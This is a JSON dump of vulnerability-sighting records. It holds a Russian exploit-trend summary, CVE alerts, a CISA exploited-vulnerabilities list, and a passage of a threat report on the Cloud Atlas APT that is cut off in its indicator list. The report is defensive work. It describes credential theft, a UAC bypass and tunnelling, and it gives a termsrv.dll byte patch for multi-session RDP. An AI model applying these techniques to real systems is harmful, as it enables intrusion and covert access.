\u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-30T01:00:03.783528Z"}, {"uuid": "3543495b-9720-4080-8bce-c45eacd5023c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0802", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlng4y57hj2e", "content": "CVE-2026-0802 - Axis ACAP Command Injection Vulnerability\nCVE ID : CVE-2026-0802\n \n Published : May 12, 2026, 5:44 a.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially l...", "creation_timestamp": "2026-05-12T08:55:21.603186Z"}, {"uuid": "05e73b24-6c72-4e7d-a8fb-1a584235781f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlnh7jt6s22e", "content": "CVE-2026-0804 - Axis ACAP Path Traversal Vulnerability\nCVE ID : CVE-2026-0804\n \n Published : May 12, 2026, 5:46 a.m. | 1\u00a0hour, 6\u00a0minutes ago\n \n Description : An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to pot...", "creation_timestamp": "2026-05-12T09:14:41.893938Z"}, {"uuid": "bcaf4353-10ba-403f-a642-33f82cad6f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0802", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlnxzftvs62e", "content": "\ud83d\udd17 CVE : CVE-2026-0541, CVE-2026-0802, CVE-2026-0804, CVE-2026-1185", "creation_timestamp": "2026-05-12T14:16:20.050234Z"}, {"uuid": "161f61e0-9661-4bbe-be5e-f15cb457cfa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0804", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlnxzftvs62e", "content": "\ud83d\udd17 CVE : CVE-2026-0541, CVE-2026-0802, CVE-2026-0804, CVE-2026-1185", "creation_timestamp": "2026-05-12T14:16:20.195906Z"}, {"uuid": "56966a7c-66f9-4cda-bb3f-1940beb321db", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2010-0806", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/667c5f76-f163-48a4-8d2e-e0d33895f0f0", "content": "", "creation_timestamp": "2026-05-20T18:00:02.702954Z"}, {"uuid": "9262444a-a698-4ccb-a07a-5ad728984f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://infosec.exchange/users/secdb/statuses/116608677530202595", "content": "\ud83d\udea8 [CISA-2026:0520] CISA Adds 7 Known Exploited Vulnerabilities to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0520)\nCISA has added 7 new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise.\n\u26a0\ufe0f CVE-2008-4250 (https://secdb.nttzen.cloud/cve/detail/CVE-2008-4250)- Name: Microsoft Windows Buffer Overflow Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: Windows- Notes: https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 ; https://nvd.nist.gov/vuln/detail/CVE-2008-4250\n\u26a0\ufe0f CVE-2009-1537 (https://secdb.nttzen.cloud/cve/detail/CVE-2009-1537)- Name: Microsoft DirectX NULL Byte Overwrite Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: DirectX- Notes: https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-028 ; https://nvd.nist.gov/vuln/detail/CVE-2009-1537\n\u26a0\ufe0f CVE-2009-3459 (https://secdb.nttzen.cloud/cve/detail/CVE-2009-3459)- Name: Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Adobe- Product: Acrobat and Reader- Notes: https://www.cisa.gov/news-events/alerts/2009/10/13/adobe-reader-and-acrobat-vulnerabilities ; https://web.archive.org/web/20120324170253/http://www.adobe.com/support/security/bulletins/apsb09-15.html#:~:text=CVE%2D2009%2D3459).-,NOTE%3A,-There%20are%20reports ; https://nvd.nist.gov/vuln/detail/CVE-2009-3459\n\u26a0\ufe0f CVE-2010-0249 (https://secdb.nttzen.cloud/cve/detail/CVE-2010-0249)- Name: Microsoft Internet Explorer Use-After-Free Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: Internet Explorer- Notes: https://learn.microsoft.com/en-us/security-updates/SecurityAdvisories/2010/979352 ; https://nvd.nist.gov/vuln/detail/CVE-2010-0249\n\u26a0\ufe0f CVE-2010-0806 (https://secdb.nttzen.cloud/cve/detail/CVE-2010-0806)- Name: Microsoft Internet Explorer Use-After-Free Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: Internet Explorer- Notes: https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/981374 ; https://nvd.nist.gov/vuln/detail/CVE-2010-0806\n\u26a0\ufe0f CVE-2026-41091 (https://secdb.nttzen.cloud/cve/detail/CVE-2026-41091)- Name: Microsoft Defender Link Following Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: Defender- Notes: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41091 ; https://nvd.nist.gov/vuln/detail/CVE-2026-41091\n\u26a0\ufe0f CVE-2026-45498 (https://secdb.nttzen.cloud/cve/detail/CVE-2026-45498)- Name: Microsoft Defender Denial of Service Vulnerability- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.- Known To Be Used in Ransomware Campaigns? Unknown- Vendor: Microsoft- Product: Defender- Notes: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-45498 ; https://nvd.nist.gov/vuln/detail/CVE-2026-45498\n#SecDB #InfoSec #CVE #CISA_KEV #cisa_20260520 #cisa20260520 #cve_2008_4250 #cve_2009_1537 #cve_2009_3459 #cve_2010_0249 #cve_2010_0806 #cve_2026_41091 #cve_2026_45498 #cve20084250 #cve20091537 #cve20093459 #cve20100249 #cve20100806 #cve202641091 #cve202645498", "creation_timestamp": "2026-05-20T21:13:37.126763Z"}, {"uuid": "8c5c114b-ffbd-4236-84a0-301ed2859ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "Telegram/MW4Cq0XLawrCQLXUdycCMnjcAht4eXyWQgQyKFuPl7x4", "content": "", "creation_timestamp": "2026-08-02T16:06:34.818822Z"}, {"uuid": "84a9310e-5ae3-4c13-92e6-a5ef01449f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-ed573033-af39cc92308f9b06", "content": "Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload\nIn 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.\nThe group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.\nTechnical details\nInitial infection\nAs for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.\nMalware execution flow\nAttackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:\nExample of the PowerShell script downloaded and executed by the shortcut:\nExample of the PowerShell script downloaded by the shortcut\nActions performed by the downloaded PowerShell:StepActionDescription1 Drops \u201c$temp\\fixed.ps1\u201dPre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.2Creates \u201cRun\u201d registry key \u201cYandexBrowser_setup\u201d for \u201c$temp\\fixed.ps1\u201d startupEarly persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.3Downloads and drops \u201c$temp\\rar.zip\u201dExtracts \u201c*.pdf\u201d from the downloaded  \u201c$temp\\rar.zip\u201dPayload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.4Extracts \u201c*.pdf\u201d from the downloaded  \u201c$temp\\rar.zip\u201dDecoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.6Opens extracted decoy document \u201c*.pdf\u201d with user\u2019s default softwareUser distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30\u2013120 seconds for background operations.6Executes  \u201ctaskkill.exe /F /Im winrar.exe\u201dProcess concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.7Searches and deletes \u201crar.zip\u201d, \u201c*.pdf.zip\u201d and \u201c*.pdf.lnk\u201dAnti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.8Executes  \u201c$temp\\fixed.ps1\u201dControlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.\nFixed.ps1 (loader)\nThe primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.\nFixed.ps1::Payload (VBCloud dropper)\nExample of the fixed.ps1::Payload (VBCloud dropper)\nThis module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:\n\nvideo.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.\nvideo.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.\n\nFixed.ps1::Payload (PowerShower)\nThis module installs a second backdoor called PowerShower on the system. We don\u2019t have the specific script that performs this installation, but we assume it\u2019s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).\nUnlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim\u2019s infrastructure. PowerShower can perform the following tasks:\n\nCollect information about running processes, administrator groups, and domain controllers.\nDownload and execute PowerShell scripts from the C2 server.\nConduct \u201cKerberoasting\u201d attacks (stealing password hashes of Active Directory accounts).\nPowerShower is dropped onto the system via the path \u2018C:\\Users\\[username]\\Pictures\\googleearth.ps1\u2019.\nContents of the googleearth.ps1(PowerShower)\nPowerShower::Payload (credential grabber)\nPowerShower downloads an additional script for stealing credentials. It performs the following actions:\n\nCreates a Volume Shadow Copy of the C:\\ drive.\nCopies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\\Users\\Public\\Documents\\, disguising them as PDF files.\nThe script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.\nThe full launch chain looks like this:\nThe full Base64-decoded script is given below.\n\nMulti-user RDP by patching termsrv.dll\nMoving laterally across the victim\u2019s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):\nThe script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.\nBy default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.\nAt first, the script enables RDP on the firewall and downgrades the RDP security settings:\nBefore modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.\nExample of script\nThe patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.\nReverse SSH tunneling\nAs mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.\nThat way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.\nTo install a reverse SSH tunnel on a victim\u2019s host, the attackers run VBS scripts via PAExec or PsExec.\nWe\u2019ve seen three types of scripts:\n\nGen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.\nRun.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.\nKill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.\nTo achieve persistence, the attackers added a new scheduled task in Windows:\nIn some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:\n\nPatched OpenSSH\nSome OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.\nIn addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:\n\nRevSocks\nIn addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim\u2019s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.\nThere were also reverse SOCKS samples with hardcoded C2 addresses:\n\nTor tunneling\nTo maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.\nExample of TOR configuration file\nPowerCloud\nWe analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.\nThe tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.\nTo find administrators on the victim host, the tool executes the following command:\nThis information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.\nPowerCloud script\nBrowser checker\nAdditionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim\u2019s habits.\nThe information about running browsers is written to a log file on the local host.\nFragment of the deobfuscated script\nVictims\nAccording to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.\nWe attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.\nWe couldn\u2019t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:\n\nC:\\Windows\\ime\nC:\\Windows\\System32\\ime\nC:\\Windows\\pla\nC:\\Windows\\inf\nC:\\Windows\\migration\nC:\\Windows\\System32\\timecontrolsvc\nC:\\Windows\\SKB\nHowever, TTPs are still differentiated.\nConclusion\nFor more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers\u2019 actions on compromised systems. We will continue to closely monitor the group\u2019s activity and describe their new tools and techniques.\nIndicators of compromise\nPowerCloud\n7A95360B7E0EB5B107A3D231ABBC541A  C:\\Windows\\wininet.exeC0D1EAA15A2CEFBAB9735787575C8D8E C:\\Windows\\LiveKernelReports\\update.exeD5B38B252CF212A4A32763DE36732D40   C:\\Windows\\ime\\imejp\\dicts\\i39884.exe3C75CEDB1196DF5EAB91F31411ED4B33  